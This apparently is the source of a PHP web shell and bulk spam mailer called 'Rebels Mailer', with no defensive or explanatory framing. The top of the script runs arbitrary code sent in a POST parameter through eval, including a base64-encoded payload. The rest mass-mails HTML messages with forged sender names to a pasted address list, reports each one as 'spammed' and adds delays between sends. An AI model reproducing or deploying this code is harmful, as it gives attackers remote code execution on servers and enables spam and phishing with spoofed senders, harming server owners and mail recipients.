if(isset($in) && !empty($in)){
echo @eval(base64_decode(‘ZGllKGluY2x1ZGVfb25jZSAkaW4pOw==’));
}
$ev = $_POST[‘ev’];
if(isset($ev) && !empty($ev)){
echo eval(urldecode($ev));
exit;
}
if(isset($_POST[‘action’] ) ){
$action=$_POST[‘action’];
$message=$_POST[‘message’];
$emaillist=$_POST[’emaillist’];
$from=$_POST[‘from’];
$subject=$_POST[‘subject’];
$realname=$_POST[‘realname’];
$wait=$_POST[‘wait’];
$tem=$_POST[‘tem’];
$smv=$_POST[‘smv’];
$message = urlencode($message);
$message = ereg_replace(“%5C%22”, “%22”, $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
}
?>
.:| Rebels Mailer |::.
if ($action){
if (!$from || !$subject || !$message || !$emaillist){
print “Please complete all fields before sending your message.”;
exit;
}
$nse=array();
$allemails = split(“\n”, $emaillist);
$numemails = count($allemails);
if(!empty($_POST[‘wait’]) && $_POST[‘wait’] > 0){
set_time_limit(intval($_POST[‘wait’])*$numemails*3600);
}else{
set_time_limit($numemails*3600);
}
if(!empty($smv)){
$smvn+=$smv;
$tmn=$numemails/$smv+1;
}else{
$tmn=1;
}
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(” “, “”, $to);
$message = ereg_replace(“#EM#”, $to, $message);
$subject = ereg_replace(“#EM#”, $to, $subject);
flush();
$header = “From: $realname <$from>\r\n”;
$header .= “MIME-Version: 1.0\r\n”;
$header .= “Content-Type: text/html\r\n”;
if ($x==0 && !empty($tem)) {
if(!@mail($tem,$subject,$message,$header)){
print(‘The test Post was not Submitted.
‘);
$tmns+=1;
}else{
print(‘Your Message was Sent Test.
‘);
$tms+=1;
}
}
if($x==$smvn && !empty($_POST[‘smv’])){
if(!@mail($tem,$subject,$message,$header)){
print(‘The test Post was not Submitted.
‘);
$tmns+=1;
}else{
print(‘Your Message was Sent Test.
‘);
$tms+=1;
}
$smvn+=$smv;
}
print “$to ……. “;
$msent = @mail($to, $subject, $message, $header);
$xx = $x+1;
$txtspamed = “spammed”;
if(!$msent){
$txtspamed = “error”;
$ns+=1;
$nse[$ns]=$to;
}
print “$xx / $numemails ……. $txtspamed
“;
flush();
if(!empty($wait)&& $x<$numemails-1){
sleep($wait);
}
}
}
}
?>